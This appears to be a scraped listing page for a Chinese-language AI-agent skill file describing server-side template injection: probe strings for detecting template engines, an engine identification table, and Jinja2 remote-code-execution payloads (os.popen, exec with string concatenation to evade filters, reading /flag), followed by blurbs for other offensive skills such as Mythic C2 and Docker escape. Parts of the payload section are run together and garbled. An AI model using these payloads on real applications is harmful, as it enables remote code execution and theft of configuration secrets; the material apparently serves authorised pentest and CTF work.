skills/exploit/web-method/ssti-methodology/SKILL.md
服务端模板注入(SSTI)的检测、引擎识别和利用。当目标是Flask/Jinja2/Django/Twig/Mako/Pug应用、存在用户输入回显、参数名含template/name/message/greeting时使用。Phase 0/1即覆盖快速检测和引擎识别,无须单独skill。如只需快速检测定位可直接使用Phase 0/1,无需阅读完整利用部分
npx skillsauth add wgpsec/AboutSecurity ssti-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
不要盲目在所有参数上尝试 SSTI payload! 先定位哪些参数会被模板渲染:
name, username, message, greeting, template, title, q, search陷阱:HTML 转义的回显(< → <)仍可能被模板渲染——{{7*7}} 可能生效。
Step 1: 发送 {{7*7}}
→ 返回 49 → 进入 Step 2
→ 原样返回 → 不是 Jinja2/Twig,进入 Step 3
→ 返回空/错误 → 可能有过滤,尝试 {{7*'7'}}
Step 2: 发送 {{7*'7'}}
→ 返回 7777777 → Jinja2 (Python) ★最常见
→ 返回 49 → Twig (PHP)
Step 3: 发送 ${7*7}
→ 返回 49 → Java EL / Mako / FreeMarker
Step 4: 发送 #{7*7}
→ 返回 49 → Ruby ERB 或 Pug
| 引擎 | 语言 | Server 头线索 | 确认方法 |
|------|------|-------------|---------|
| Jinja2 | Python/Flask | Werkzeug, gunicorn | {{config}} 有输出 |
| Django | Python | WSGIServer | {{settings.DEBUG}} |
| Twig | PHP | Apache+PHP | {{_self.env.display('id')}} |
| Mako | Python | - | ${self.module.__builtins__} |
| FreeMarker | Java | Tomcat, Spring | ${.now} 返回当前时间 |
| Pug/Jade | Node.js | Express | #{7*7} 返回 49 |
确认引擎类型
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│ 优先级:上下文变量 → config → 文件读取 → RCE(lipsum链)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│ 无 RCE!优先级:上下文变量穷举 → request.META → settings → admin 路径发现
└─ 有过滤?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)(过滤绕过部分)
Jinja2 速查(完整 payload → references/jinja2-exploitation.md):
{{lipsum.__globals__['os'].popen('id').read()}} # RCE 首选
{{config}} # 读配置
{{ }} 需要编码os._wrap_close、subprocess.Popenif 'popen' in str(cls) — 字符串匹配筛选?a=__class__&b=__mro__,模板中用 request.args.a 引用globals.__self__ 到达 builtins 模块,用字符串拼接绕过:
{{ globals.__self__.exec("imp" + "ort o" + "s;o" + "s.system('cat /flag')") }}
{{ request.__class__.__init__.__globals__.__builtins__.exec("__imp"+"ort__('o'+'s').system('id')") }}
{{config}})testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能